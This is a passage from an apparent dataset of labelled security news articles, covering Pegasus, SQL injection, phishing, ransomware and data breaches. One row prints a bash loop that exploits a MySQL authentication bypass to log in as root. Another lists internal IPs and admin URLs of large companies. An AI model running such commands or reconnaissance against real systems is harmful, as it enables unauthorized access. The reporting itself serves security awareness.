
Pegasus could allow an attacker to access an incredible amount of data on a target victim, including text messages, calendar entries, emails, WhatsApp messages, user's location, microphone.

Pegasus Spyware could even allow an attacker to fully download victim's passwords and steal the stored list of WiFi networks, as well as passwords the device connected to.

Apple is now patching the same ""Trident"" bugs in Safari web browser on its desktop operating system, with urgent security updates for Safari 9 as well as OS X Yosemite and OS X El Capitan.

However, this is not a surprise because iOS and OS X, and mobile and desktop version of Safari browser share much of the same codebase. Therefore, zero-days in Apple's iOS showed up in OS X as well.

Pegasus exploit takes advantage of Trident bugs to remotely jailbreak and install a collection of spying software onto a victim's device, without the user's knowledge.

One of the key tools of the exploit takes advantage of a memory corruption bug in Safari WebKit, allowing hackers to deliver the malicious payload when a target victim clicks on a malicious link and initiate the process of overtaking the operating system.

In an advisory, Apple warned that visiting a ""maliciously crafted website"" via Safari browser could allow attackers to execute arbitrary code on a victim's computer.

The patch updates that Apple released on Thursday fix the nasty Trident bugs, including CVE-2016-4654, CVE-2016-4655, and CVE-2016-4656, which were initially discovered and reported by mobile security startup Lookout and the University of Toronto's Citizen Lab.

Based on a link sent to UAE human rights activist Ahmed Mansoor, Lookout Security, and Citizen Lab traced the three programming blunders and its Pegasus spyware kit to Israeli ""cyber war"" organization NSO Group, which sells hacking exploits to governments like the UAE.

Users can install security patches for Safari, El Capitan, and Yosemite via the usual software update mechanisms.

",Vulnerability
"Google, Paypal, Facebook Internal IP disclosure vulnerability",https://thehackernews.com/2012/12/google-paypal-facebook-internal-ip.html,"Do you have any idea about an Internal IP Address or a Private IP Address that too assigned for Multinational Companies? Yeah, today we are gonna discuss about Internal IP or Private IP address Disclosure.

Disclosure of an Internal IP like 192.168.*.* or 172.16.*.* , can really Impact ? Most security researchers call it as ""bull shit"" vulnerability. But when it comes to impact calculation even if the server is behind a firewall or NAT, an attacker can see internal IP of the remote host and this may be used to further attacks.

Internet Giants like Facebook, Google, PayPal and Serious National Security organizations like FBI, Pentagon and NASA are taking initiatives for their Security Issues. At same, we at 'The Hacker News' stand together for organizations that talk about national security in a serious way.

I guess,its the time to understand about the flaws and its impacts where I would like to share my findings about our Internet Giants and Organizations.

Facebook - Internal IPv4 Address and Session Cookie Disclosure
Facebook spent $8.5 million to buy fb.com. According to the many report available on the internet says ""fb.com is for Facebook Internal Use Only"".

URL - https://newsroom.fb.com/v/?id=467&skip=False
Internal IP : 192.168.149.88
Session Cookie : Session Cookie Generation probably depends the administration from their admin panel located at https://newsroom.fb.com/admin/login.aspx?RefUrl=%2fadmin%2fdefault.aspx

PayPal - [ www.paypal.com & www.where.com ]
Paypal is being the largest in the e-banking business has its Internal IPv4 Address and Other Server Detail Disclosure while accessing one of its sub domain.
URL - https://ad.paypal.com/jin/info.jsp
Internal IP Range - 192.168.*.*
URL - https://www.where.com/jin/info.jsp
URL - https://api.where.com/jin/info.jsp
Google - [ Server Path Disclosure]
Recently , I came across an issue reported by an user on Google Code website to Google Team members of modpagespeed project.. mod_pagespeed is an open-source Apache module created by Google to help Make the Web Faster by rewriting web pages to reduce latency and bandwidth.

If you closely analyze the URL mentioned in the forum post you might get some encoding error. But if you access the URL via Google Web-Cache ( Interesting Part: Using Google Service to Retrieve Information of Other Google Services )

Vulnerable Domain: dl.google.com
Vulnerability: Server Path Disclosure
Steps to Reproduce: Access Google Web-Cache URL: Click Here

Cron Job Info of Google Talk, Plugins and Google Chrome
Google Talk - Cron Job Info , Path Disclosed: Cache URL
/etc/cron.daily/google-chrome
/opt/google/chrome/PepperFlash/libpepflashplayer.so
/opt/google/chrome/chrome-sandbox
/opt/google/chrome/chrome.pak
/opt/google/chrome/chrome_100_percent.pak
/opt/google/chrome/default-app-block

Google Talk Plugin - Cron Job Info, Path Disclosed: Cache URL
google-talkplugin-3.10.2.0-1.src.rpm
/etc/cron.daily/google-talkplugin

Google Chrome- Cron Job Info, Path Disclosed: Cache URL
google-chrome-beta-24.0.1312.40-172509.src.rpm
/usr/bin/google-chrome/
etc/cron.daily/google-chrome

NASA
Internal IP, Subnet mask disclosure in a publicly available file at NASA ftp (now deleted) can be seen via Google cache.

Tata Consultancy Services
TCS was also having similar internal IP disclosure flaw, recently fixed. We have a screenshot of that
In the above screenshot we can easily find the Microsoft OLDE DB provider Information and the Server Internal (Private IP Address : 192.168.15.65).


This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.

For a hacker Information is like a treasure and gathering each and every small information = Treasure hunting. Vulnerability either low or Critical, its still remains a vulnerability.

",Vulnerability
SQL Injection Vulnerability in 'Yahoo! Contributors Network',https://thehackernews.com/2014/10/sql-injection-vulnerability-in-yahoo.html,"Yahoo! Contributors Network (contributor.yahoo.com), the network of authors that generated the contents such as photographs, videos, articles and their knowledge to more than 600 million monthly visitors, was vulnerable to a Time based Blind SQL Injection vulnerability.

Behrouz Sadeghipour, a security researcher reported the Blind SQLi vulnerability in Yahoo!'s website that could be exploited by hackers to steal users' and authors' database, containing their personal information.

Behrouz reported this flaw to Yahoo! Security team few months back. The team responded positively and within a month they patched the vulnerability successfully. Unfortunately after that Yahoo! announced to shut down 'Yahoo Contributors Network' due to its decreasing popularity and removed all the contents from the web, except some of the ""work for hire"" content may remain on the web.

The critical vulnerability was able to expose the database which carried sensitive and personal information of those authors who was participating and getting paid from their work. While looking around the website, the researcher came across two vulnerabilities in the following URL/files:
https://contributor.yahoo.com/forum/search/?
https://contributor.yahoo.com//library/payments/data-table/?
The vulnerability allows remote attackers to inject own SQL commands to breach the database of the above vulnerable URLs and get access to the users' personal data.

In 2012, Yahoo! Contributors Network was hacked by a group of hackers called ""D33DS Company"" and ""Owned and Exposed"" data breach exposed stolen 453,491 email addresses and passwords online. Reportedly, at that time hackers used the same technique i.e. SQL Injection attack to carry out the data breach.

SQL INJECTION AND ITS IMPACTS
SQL Injection (SQLi) attacks have been around for over a decade. It involves inserting a malformed SQL query into an application via client-side input. SQLi vulnerabilities are ranked as Critical one because if it is used by Hackers, it will cause a database breach which will lead to confidential information leakage.

In fact, according to Veracode's 2014 State of Security Software Report , SQL injection vulnerabilities still plague 32% of all web applications.
""We are currently seeing more than 50,000 attacks per day that fall into our SQL Injection categorization. Most of them are automated and try to compromise well known vulnerabilities in common CMS's and web projects (Joomla, WordPress, vBulletin, etc),"" the security researcher, David Dede, of the security firm Sucuri wrote in a blog post.
SQL INJECTION CONTINUE TO GROW
The analysis carried out by the security firms shows that the number of SQL injection attempts continue to grow as the time passes on.
""If we drill down into our data and hook it up to a geo locator we can also see that the attacks come from everywhere. Most people tend to think that Russia, Brazil, Romania and a few other countries are the ""bad"" sources, but for SQL injection, the top attackers come from the USA, India, Indonesia and China,"" the researcher added.
SQL Injections are a real threat and are being actively attacked and exploited by hackers every day. ""If you are a developer you should be leveraging the OWASP SQL Injection Prevention Cheat Sheet at a minimum.""

",Data_Breaches
Hackers Spotted Using Morse Code in Phishing Attacks to Evade Detection,https://thehackernews.com/2021/08/hackers-spotted-using-morse-code-in.html,"Microsoft has disclosed details of an evasive year-long social engineering campaign wherein the operators kept changing their obfuscation and encryption mechanisms every 37 days on average, including relying on Morse code, in an attempt to cover their tracks and surreptitiously harvest user credentials.
The phishing attacks take the form of invoice-themed lures mimicking financial-related business transactions, with the emails containing an HTML file (""XLS.HTML""). The ultimate objective is to harvest usernames and passwords, which are subsequently used as an initial entry point for later infiltration attempts.
Microsoft likened the attachment to a ""jigsaw puzzle,"" noting that individual parts of the HTML file are designed to appear innocuous and slip past endpoint security software, only to reveal its true colors when these segments are decoded and assembled together. The company did not identify the hackers behind the operation.
""This phishing campaign exemplifies the modern email threat: sophisticated, evasive, and relentlessly evolving,"" Microsoft 365 Defender Threat Intelligence Team said in an analysis. ""The HTML attachment is divided into several segments, including the JavaScript files used to steal passwords, which are then encoded using various mechanisms. These attackers moved from using plaintext HTML code to employing multiple encoding techniques, including old and unusual encryption methods like Morse code, to hide these attack segments
Opening the attachment launches a browser window that displays a fake Microsoft Office 365 credentials dialog box on top of a blurred Excel document. The dialog box shows a message urging the recipients to sign in again due to reasons that their access to the Excel document has purportedly timed out. In the event the user enters the password, the individual is alerted that the typed password is incorrect, while the malware stealthily harvests the information in the background.
The campaign is said to have undergone 10 iterations since its discovery in July 2020, with the adversary periodically switching up its encoding methods to mask the malicious nature of the HTML attachment and the different attack segments contained within the file.
Microsoft said it detected the use of Morse code in the attacks' February and May 2021 waves, while later variants of the phishing kit were found to direct the victims to a legitimate Office 365 page instead of showing a fake error message once the passwords were entered.
""Email-based attacks continue to make novel attempts to bypass email security solutions,"" the researchers said. ""In the case of this phishing campaign, these attempts include using multilayer obfuscation and encryption mechanisms for known existing file types, such as JavaScript. Multilayer obfuscation in HTML can likewise evade browser security solutions.

",Cyber_Attack
AwSnap! New Hack Can Crash Chrome Browsers of Mass Audience,https://thehackernews.com/2015/04/awsnap-chrome-crash.html,"Few weeks back, we reported how a string of just 13 characters could cause your tab in Chrome to crash instantly. However, there was an exception that this special 13 characters string was only working on Mac OS X computers with no impact on Windows, Android, or iOS operating systems.

Now, a recent hack against Chrome browser could crash your Chrome version 41 and above for Mac OS X, Windows and Chrome OS.

At the time of writing, Chrome 41 seems to crash on long and/or malformed URLs. The details of this crash bug, dubbed as AwSnap, is described on Github.

Warning: DO NOT CLICK on this LINK, which actually points to a Reddit thread that crashes Chrome browser because a Reddit user-submitted post containing the crash content. Just like a post, crashing a thread via a comment is also possible.

Chrome crash occurs only when accessing the long and/or malformed URLs through a web server, which means using file:// will not crash your Chrome browser.

Examples of long and/or malformed URLs that cause the Chrome browser to crash:
The crash issue appears to be small but is really serious, as it is possible for anyone to post the malformed URLs on a discussion forum, such as Reddit, and make the thread unavailable to all users. So, we recommend our users to do not post or drop the malformed URLs in comments or on your Facebook timeline.

At the time of writing, the AwSnap bug has been confirmed in Chrome 41 and patched in Chrome 42, & 43 running on MacOS, Windows and Chrome OS. However, there are mixed reports on Ubuntu.

",Vulnerability
3 New Code Execution Flaws Discovered in Atlantis Word Processor,https://thehackernews.com/2018/11/word-processor-vulnerability.html,"This is why you should always think twice before opening innocent looking email attachments, especially word and pdf files.

Cybersecurity researchers at Cisco Talos have once again discovered multiple critical security vulnerabilities in the Atlantis Word Processor that allow remote attackers to execute arbitrary code and take over affected computers.

An alternative to Microsoft Word, Atlantis Word Processor is a fast-loading word processor application that allows users to create, read and edit word documents effortlessly. It can also be used to convert TXT, RTF, ODT, DOC, WRI, or DOCX documents to ePub.

Just 50 days after disclosing 8 code execution vulnerabilities in previous versions of Atlantis Word Processor, Talos team today revealed details and proof-of-concept exploits for 3 more remote code execution vulnerabilities in the application.

All the three vulnerabilities, listed below, allow attackers to corrupt the application's memory and execute arbitrary code under the context of the application.

Incorrect Calculation of Buffer Size (CVE-2018-4038) — an exploitable arbitrary write vulnerability resides in the open document format parser of Atlantis Word Processor while trying to null-terminate a string.
Improper Validation of Array Index (CVE-2018-4039) — an out-of-bounds write vulnerability exists in the PNG implementation of.
Use of Uninitialized Variable (CVE-2018-4040) — an exploitable uninitialized pointer vulnerability exists in the rich text format parser of Atlantis Word Processor.

All these vulnerabilities affect Atlantis Word Processor versions 3.2.7.1, 3.2.7.2 and can be exploited by convincing a victim into opening a specially crafted malicious booby-trapped document.

Talos researchers responsibly reported all the vulnerabilities to the developers of the affected software, who have now released an updated version 3.2.10.1 that addresses the issues.

If you haven't yet, you are highly advised to update your word processing software to the latest version and security enthusiasts who are interested in learning more about these issues can head on to Talos blog for technical details.

The easiest way to prevent yourself from being a victim of attacks leveraging such vulnerabilities is never to open any document provided in an email from unknown or untrusted sources.
",Malware
Tor-enabled Point-of-Sale malware 'ChewBacca' stole Credit Card data from 11 Countries,https://thehackernews.com/2014/01/tor-enabled-point-of-sale-malware.html,"After the massive data breaches at U.S retailers Target and Neiman Marcus in which financial credentials of more than 110 million and 1.1 million customers were compromised respectively, shows that the Point of Sale (POS) system has become a new target for the cyber criminals.

Despite the BlackPOS malware of Point of Sale (POS) system that comes out as the major cause of these data breaches, malware writers are upgrading and developing more Trojans to target POS system.

In December, the security researchers at anti-virus firm Kaspersky Lab discovered a Tor-based banking trojan, dubbed ""ChewBacca""_x0081_, that was initially categorized as a Financial trojan, but recently security researchers at RSA have uncovered that 'ChewBacca' is also capable of stealing credit card details from point of sale systems.

'ChewBacca', a relatively new and private Trojan, used in the 11 countries as a POS malware is behind the electronic theft. ChewBacca communicates with its C&C (Command and Control) server over the Tor network obscuring the IP addresses of parties.

ChewBacca steals data from the POS system in two ways:
Generic keylogger that captures all the keystrokes.
Memory scanner that reads process memory and dumps the credit card details.
The botnet has been collecting track 1 and track 2 data of payment card since October 25, according to RSA.
During installation, ChewBacca creates a copy of itself as a file named ""spoolsv.exe""and place it in the windows Start > Startup folder, so that it can automatically start-up at the login time.

After installation, the keylogger program creates a log file called ""system.log"" inside the system %temp% folder that contains the keystroke events along with the window focus changes.
""The ChewBacca Trojan appears to be a simple piece of malware that, despite its lack of sophistication and defense mechanisms, succeeded in stealing payment card information from several dozen retailers around the world in a little more than two months.""
Neither the RSA nor the Kaspersky descriptions explain how the ChewBacca bot is propagated, but the RSA investigation has observed it mostly in the US and also detected in 10 other countries, including Russia, Canada and Australia.
The RSA has provided the data to the FBI on the ChewBacca operation, including the location of a command-and-control server used by the hackers.

They advised retailers to increase staffing levels and develop leading-edge capabilities to detect and stop attackers (comprehensive monitoring and incident response), encrypt or tokenize data at the point of capture and ensure that it is not in plain text view on their networks, thereby shifting the risk and burden of protection to the card issuers and their payment processors.

",Malware
Dutch Police arrested TorRAT Malware Gang for stealing over Million Dollar,https://thehackernews.com/2013/10/dutch-police-arrested-torrat-malware.html,"The TorRAT malware was first appeared in 2012 as spying tool only. But from August 2012, Bitcoin Mining feature was added and it became a powerful hacking tool that was commonly associated with attacks on Financial institutions.

ab
This year TorRat Malware targeted two out of three major Banks in the Netherlands and the criminals stole over Million Dollars from user' Banking Accounts.

The Dutch police has arrested four men from Alkmaar, Haarlem, Woubrugge and Roden on last Monday, who are suspected of involvement in the large scale digital fraud and money laundering case using TorRat Malware.
Using Spear Phishing techniques, gang targeted the victims to access their computers and the Financial accounts. The gang used anonymous VPN services, Bitcoins, TorMail and the Tor network itself to remain anonymous.

Malware is also capable of manipulating the information during online banking, can secretly add new payment orders and also able to modify existing orders.

To defend the detection from Antivirus softwares, TorRat uses the ZeuS malware in its attack. The technique was used to divert the focus of researchers to remove ZeuS infection, rather than the unknown malware on the system.

Some of the stolen money was converted by criminals to (56 BTC worth around 7700 Euros) Bitcoin virtual currency, which are now seized by Dutch police. Police also mentioned that, one of arrested criminal having his own Bitcoin exchange service.

The TorRAT malware has been known to be distributed in multiple ways. In April, TorRat was in news for hijacking twitter accounts. After infecting a vulnerable computers, the TorRAT malware hijacks the Twitter user's account and share links that lead to attack websites that attempt to inject TorRAT malware into the victim's computer.

The main reason why this particular attack is so effective is because victims are essentially receiving links to the TorRAT malware from sources they trust; accounts that they follow on Twitter. TorRAT malware involves using Man-in-the-Browser (MitB) tactics to infect computers through vulnerabilities in their Web browser. These kinds of attacks were used to take over a victim's online banking account.

They made more than 150 fraudulent transactions for victim's accounts and Police said that, because Gang was operating from the Netherlands, so tracking them become possible.

",Malware
Apple Releases dozens of Security Updates to Fix OS X and iOS Flaws,https://thehackernews.com/2015/07/apple-security-updates.html,"Apple has released updates to patch dozens of security vulnerabilities in iOS and OS X Yosemite operating system.

The updates include iOS 8.4 version of the mobile operating system, OS X Yosemite 10.10.4 and Security Update 2015-005.

iOS 8.4 Update

The iOS 8.4 update includes patches for over 20 security vulnerabilities that could lead to remote code execution (RCE), application termination, the intercepted encrypted traffic, man-in-the-middle attacks and other problem.

Certificate trust policy issues, buffer overflow vulnerabilities, apache compatibility issues, memory corruption flaws, and a host of WebKit, kernel, and CoreText vulnerabilities were also patched in the latest iOS update.

OS X Yosemite 10.10.4 update

The OS X Yosemite 10.10.4 update includes patches for QuickTime, ImageIO, and OpenSSL along with Remote Code Execution (RCE) flaws and other issues that may allow attackers to gain elevated privileges or crash applications.

The Safari 8.0.7 update patches four vulnerabilities in the WebKit browser engine that could allow an attacker to remotely execute code, view WebSQL databases, steal account information and pilfer cookie information from a targeted Mac.

Logjam Issue Resolved

The iPad and iPhone update also addresses the Logjam flaw, a cryptographic weakness in algorithms used by the ""Diffie-Hellman key exchange"" that allows protocols like HTTPS, SSH, SMTPS, IPsec to negotiate a secret key and create secure communication channels.

Mac owners are recommended to grab the OS X Yosemite version 10.10.4 and the latest Security Update 2015-005 now. It advisory details the same patches for many issues present in iOS as well as many additional vulnerabilities.

Update Now

Mac OS X users can download and install the updates through the Software Update tool. iPhone and iPad users can grab the update through the ""General"" tab in the Settings app and then click the Software Update tab to continue.

",Vulnerability
Marriott Faces $123 Million GDPR Fine Over Starwood Data Breach,https://thehackernews.com/2019/07/marriott-data-breach-gdpr.html,"After fining British Airways with a record fine of £183 million earlier this week, the UK's data privacy regulator is now planning to slap world's biggest hotel chain Marriott International with a £99 million ($123 million) fine under GDPR over 2014 data breach.

This is the second major penalty notice in the last two days that hit companies for failing to protect its customers' personal and financial information compromised and implement adequate security measures.

In November 2018, Marriott discovered that unknown hackers compromised their guest reservation database through its Starwood hotels subsidiary and walked away with personal details of approximately 339 million guests.

The compromised database leaked guests' names, mailing addresses, phone numbers, email addresses, dates of birth, gender, arrival and departure information, reservation date, and communication preferences.

The breach, which likely happened in 2014, also exposed unencrypted passport numbers for at least 5 million users and credit card records of eight million customers.

According to the Information Commissioner's Office (ICO), nearly 30 million residents of 31 countries in the European and 7 million UK residents were impacted by the Marriott data breach.

The ICO's investigation found that Marriott failed to undertake sufficient due diligence when it bought Starwood and should also have done more to secure its systems.

Last year, the General Data Protection Regulation (GDPR) was introduced in Europe that forces companies to make sure the way they collect, process, and store data are safe.

""The GDPR makes it clear that organizations must be accountable for the personal data they hold. This can include carrying out proper due diligence when making a corporate acquisition, and putting in place proper accountability measures to assess not only what personal data has been acquired, but also how it is protected,"" Information Commissioner Elizabeth Denham said.

""Personal data has real value so organizations have a legal duty to ensure its security, just like they would do with any other asset. If that doesn't happen, we will not hesitate to take strong action when necessary to protect the rights of the public.""

Marriott International's president Arne Sorenson said the company was ""disappointed"" with the ICO's announcement and would contest the fine.

",Cyber_Attack
CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability,https://thehackernews.com/2012/06/cve-2012-2122-serious-mysql.html,"CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability
A serious security bug in MariaDB and MySQL Disclosed, According to Advisory All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. This issue got assigned an id CVE-2012-2122.

""When a user connects to MariaDB/MySQL, a token (SHAover a password and a random scramble string) is calculated and comparedwith the expected value. Because of incorrect casting, it might'vehappened that the token and the expected value were considered equal,even if the memcmp() returned a non-zero value. In this caseMySQL/MariaDB would think that the password is correct, even while it isnot. Because the protocol uses random strings, the probability ofhitting this bug is about 1/256.""

""Which means, if one knows a user name to connect (and ""root"" almostalways exists), she can connect using *any* password by repeatingconnection attempts. ~300 attempts takes only a fraction of second, sobasically account password protection is as good as nonexistent.Any client will do, there's no need for a special libmysqlclient library.""

The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password.

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>

Defense: The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control.

the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the ""bind-address"" parameter to ""127.0.0.1"". Restart the MySQL service to apply this setting.

Note: Download The Latest Exploits for CVE-2012-2122 From our TOOLS YARD section.

",Vulnerability
Facebook Finds 'No Evidence' Hackers Accessed Connected Third-Party Apps,https://thehackernews.com/2018/10/facebook-token-hacking.html,"When Facebook last weekend disclosed a massive data breach—that compromised access tokens for more than 50 million accounts—many feared that the stolen tokens could have been used to access other third-party services, including Instagram and Tinder, through Facebook login.

Good news is that Facebook found no evidence ""so far"" that proves such claims.

In a blog post published Tuesday, Facebook security VP Guy Rosen revealed that investigators ""found no evidence"" of hackers accessing third-party apps with its ""Login with Facebook"" feature.

""We have now analyzed our logs for all third-party apps installed or logged in during the attack we discovered last week. That investigation has so far found no evidence that the attackers accessed any apps using Facebook Login,"" Rosen says.
This does not mean that the stolen access tokens that had already been revoked by Facebook do not pose any threat to thousands of third-party services using Facebook Login, as the company explains it depends upon how websites validate their users access tokens.

Many websites that do not use Facebook's official SDKs to regularly validate their users access tokens could still allow attackers to access users' accounts using revoked access tokens.

In order to help such websites, Facebook is building a tool that will enable developers to ""manually identify the users of their apps who may have been affected, so that they can log them out.""
""Any developer using our official Facebook SDKs — and all those that have regularly checked the validity of their users' access tokens – were automatically protected when we reset people's access tokens,"" Rosen says.
While announcing its worst-ever data breach last week, Facebook said unknown hackers had exploited a chain of vulnerabilities in its code to steal 50 million accounts tokens—digital keys that keep users logged in, so they don't need to re-enter their credentials every time they use the app.

The social media giant fixed the issue on Thursday night and forcefully logged 90 million users out of their accounts as a precaution by resetting their access tokens.

Even after Facebook announced that it found no evidence of hackers accessing third-party services that use Facebook's single sign-on in the massive attack, some of those services are taking necessary steps to safeguard their users.

For example, Uber has precautionarily expired all active Facebook-based login sessions temporarily after the data breach, while the company is still investigating the breach at its end.

The social media giant has yet to disclose the attackers responsible for the massive attack, their origins, and the data they may have stolen from the affected 50 million Facebook users.

The Irish Data Protection Commission said that less than 10 percent of the 50 million users (which equals to five million users) attacked in the breach are based in the European Union (EU), where Facebook can be fined up to $1.63 billion under the nation's General Data Protection Regulation (GDPR) if it did not find doing enough to protect the security of users.

",Cyber_Attack
BlackBerry Enterprise Server vulnerable to malicious image file,https://thehackernews.com/2011/08/blackberry-enterprise-server-vulnerable.html,"BlackBerry Enterprise Server vulnerable to malicious image file

There are remotely and easily exploitable vulnerabilities in the BlackBerry Enterprise Server that could allow an attacker to gain access to the server by simply sending a malicious image file to a user's BlackBerry device.

The vulnerabilities are in several version of BES for Exchange, Lotus Domino and Novell GroupWise, and Research in Motion said that an attacker who is able to exploit one of the bugs might also be able to move from the compromised BES server to other parts of the network. The company has issued a patch for the BES flaws and says that they are at the top of the severity scale in terms of exploitability.

The vulnerability in both the BlackBerry MDS Connection Service and the BlackBerry Messaging Agent is related to the way that the components handle PNG and TIFF image files. Exploiting the vulnerabilities can be as easy as sending a malicious PNG or TIFF file to a BlackBerry user. In some scenarios, the user wouldn't even need to open the email or click on a link in order to complete the attack.

""Successful exploitation of any of these vulnerabilities might allow an attacker to gain access to and execute code on the BlackBerry Enterprise Server. Depending on the privileges available to the configured BlackBerry Enterprise Server service account, the attacker might also be able to extend access to other non-segmented parts of the network,"" RIM said in its advisory.

[Source]

",Vulnerability
540 Million Facebook User Records Found On Unprotected Amazon Servers,https://thehackernews.com/2019/04/facebook-app-database.html,"It's been a bad week for Facebook users.

First, the social media company was caught asking some of its new users to share passwords for their registered email accounts and now…

...the bad week gets worse with a new privacy breach.

More than half a billion records of millions of Facebook users have been found exposed on unprotected Amazon cloud servers.

The exposed datasets do not directly come from Facebook; instead, they were collected and unsecurely stored online by third-party Facebook app developers.

Researchers at the cybersecurity firm UpGuard today revealed that they discovered two datasets—one from a Mexican media company called Cultura Colectiva and another from a Facebook-integrated app called ""At the pool""—both left publicly accessible on the Internet.
More than 146 GB of data collected by Cultura Colectiva contains over 540 million Facebook user records, including comments, likes, reactions, account names, Facebook user IDs, and more.

The second dataset belonging to ""At the Pool"" app contains information about users' friends, likes, groups, and checked-in locations, as well as ""names, plaintext passwords and email addresses for 22,000 people.""

Though UpGuard believes the plaintext passwords found in the database were for the At the Pool app, and not for users' Facebook accounts, given the fact that people frequently re-use the same passwords for multiple apps, many of the leaked passwords could be used to access Facebook accounts.

""As Facebook faces scrutiny over its data stewardship practices, they have made efforts to reduce third-party access. But as these exposures show, the data genie cannot be put back in the bottle. Data about Facebook users have been spread far beyond the bounds of what Facebook can control today,"" experts at UpGuard said.

Both datasets were stored in unsecured Amazon S3 buckets, which have now been secured and taken offline after Upguard, Facebook and media contacted Amazon.

This is not the first time third-party companies have collected or misused Facebook data and sometimes leaked it to the public.

The most famous incident is the Cambridge Analytica scandal wherein the political data firm improperly gathered and misused data on 87 million users through a seemingly innocuous quiz app, for which the social media giant is facing £500,000 EU fine.

Though Facebook has since then tightened up its privacy controls ensuring apps use their access appropriately, the social media company is still facing intense pressure and criticism for not doing enough to offer better privacy and security to its 2.3 billion users.
",Data_Breaches
Firefox 17 Beta Released with Click-to-Play Plugins for blocking vulnerable Plugins,https://thehackernews.com/2012/10/firefox-17-beta-released-with-click-to.html,"Last week, Mozilla announced it will prompt Firefox users on Windows with old versions of Adobe Reader, Adobe Flash, and Microsoft Silverlight, but refused to detail how the system will work. Finally today Firefox 17 is now in beta and with it is a very cool feature, click-to-play plugins.

When a user lands on a site that requires the use of a plugin, say Adobe Flash, if the version running in the user's browser is on the list of known vulnerable applications, Mozilla will disable it and show the user a message saying that she needs to update the plugin.

""By combining the safety of the blocklist with the flexibility of click-to-play, we now have an even more effective method of dealing with vulnerable or out-of-date plugins."" Mozilla wrote on blog. Mozilla is still working on implementing the controls, which would allow you to block all plugins by default and then pick where you want them to run.

As already mentioned, this feature will be enabled by default in Firefox 17. There is, however, an about:config preference ""plugins.click_to_play"" that can be set to true to enable click-to-play for all plugins, not just out-of-date ones. Mozilla says it is still developing this part.

The main motivation behind this plugin is to prevent users' systems against drive-by attacks that target vulnerable plugins.

Subscribe to our Daily News-letter via email - Be First to know about Security and Hackers.

",Vulnerability
FBI Suggests Ransomware Victims — 'Just Pay the Ransom Money',https://thehackernews.com/2015/10/fbi-ransomware-malware.html,"Your Headache is not my Problem.

If your computer gets hacked and infected with malware that holds your data for ransom, just pay off the criminals to see your valuable data again and do not expect the FBI to save them – it's what the FBI is advising concerning ransomware.

Ransomware is a sophisticated malicious software that lets hacker encrypts all the contents of a victim's hard drive or/and server and demands ransom (typically in Bitcoins) for the decrypt key.

Also Read: Free Ransomware Decryption and Malware Removal ToolKit

Federal agencies and the FBI have long urged people not to pay ransom to the criminals, as there is no guarantee that they will even receive an unlock key.

The FBI – 'Better Pay up the Ransom'

However, while speaking at the 2015 Cyber Security Summit on Wednesday, Assistant Special Agent Joseph Bonavolonta, who oversees the FBI's Boston office, advised the companies infected with ransomware to better pay up the ransom, according to a recent report by Security Ledger.
""The ransomware is that good,"" said Bonavolonta. ""To be honest, we often advise people just to pay the ransom.""
So, is the FBI now sure that Paying Ransom would save the victim's data?

Malicious programs such as Cryptolocker, Cryptowall, and Reveton uses ""ultra secure"" encryption algorithms to encrypt victims' data, and the key to decrypt data can cost victims from $200 to $10,000.

However, even after paying this much of amount, there is no guarantee that victims will receive the key to recovering their data.

Even the police are not immune to Ransomware attacks. Cryptowall – currently the most widespread malware used – alone made criminal hackers over 18 Million in dollars from April 2014 to June 2015.

Due to the success of ransomware on such a vast scale, Bonavolonta said hackers are likely to keep their ransom demands low in an attempt to maximize profit. For this reason, they are mostly honest, he said, adding, ""You do get your access back.""

Also Read: Anyone can Now Create their Own Ransomware using This Hacking ToolKit

This advice from the FBI agent counters many public advisories on the ransomware. Also, not everyone would agree with what Bonavolonta advised because fulfilling demands of bad guys is equivalent to encouraging their bad practices.

Prevention is the Best Practice

As I previously recommended, the best defense measure against Ransomware is creating awareness within the organizations, as well as maintaining backups that are rotated regularly.

Most viruses are introduced by opening infected attachments or clicking on links to malware usually contained in spam emails. So, DO NOT CLICK on links provided in emails and attachments from unknown sources.

Also Read: Ransomware Attacks Threaten Wearable Devices and Internet of Things

Moreover, ensure that your systems are running the latest version of Antivirus software with up to date malware definitions.

",Malware
THN Weekly Roundup — 15 Most Popular Cyber Security and Hacking News Stories,https://thehackernews.com/2015/09/hackernews-popular-updates.html,"We are once again here with our weekly round up based on last week's top cyber security threats and challenges.

I recommend you to read the entire thing (just click 'Read More' because there's some valuable advice in there as well).

Here's the list:

1. Reminder! If You have not yet, Turn Off Windows 10 Keylogger Now

Microsoft is very powerful in tracking every single word you type or say to its digital assistant Cortana using its newest Windows 10 operating system.

The keylogger that Microsoft put in the Technical Preview of Windows 10 last fall made its way to Windows 10 Free public release first rolled out back in July.

Besides various Windows 10 privacy issues, there is a software component that is a bit more complicated than you thought. It tracks your inputs using:
Keyboard
Voice
Screen
Mouse
Stylus
Information about your Calendar and Contacts
If this keylogger, which is more than just a keylogger, makes you feel creepy then need not to worry, because the good news is — You can Turn Off this Keylogger.

For detailed information and to know how You can Turn Off this Keylogger – Read more.

2. 200 Million WhatsApp Users Vulnerable to vCard Vulnerability

A dangerous security vulnerability discovered in Whatsapp last week affected 200 Million WhatsApp Web users.

The web-based extension of WhatsApp was found vulnerable to a vCard exploit that could have allowed hackers to trick users into installing malware on their computers including:
Remote Access Tools (RATs)
Ransomware
Bots
Other malicious software
Here's How the WhatsApp Exploit Works – Read more.

3. 11 Million Ashley Madison Passwords Cracked In Just 10 Days

Last month, Ashley Madison hackers leaked about 100 GB of sensitive data belonging to the popular extramarital affair website 'Ashley Madison', which includes the source code of company's website, users' details, and hashed passwords.
However, the Password Cracking Team 'CynoSure Prime' has cracked more than 11 Million user passwords within ten days.

Moreover, a member of the team shared the same list of passwords online, and the calculations were terrible.

The top 5 most used passwords by Ashley Madison customers were:
123456
12345
password
DEFAULT
and 123456789.
For more in-depth information – Read more.

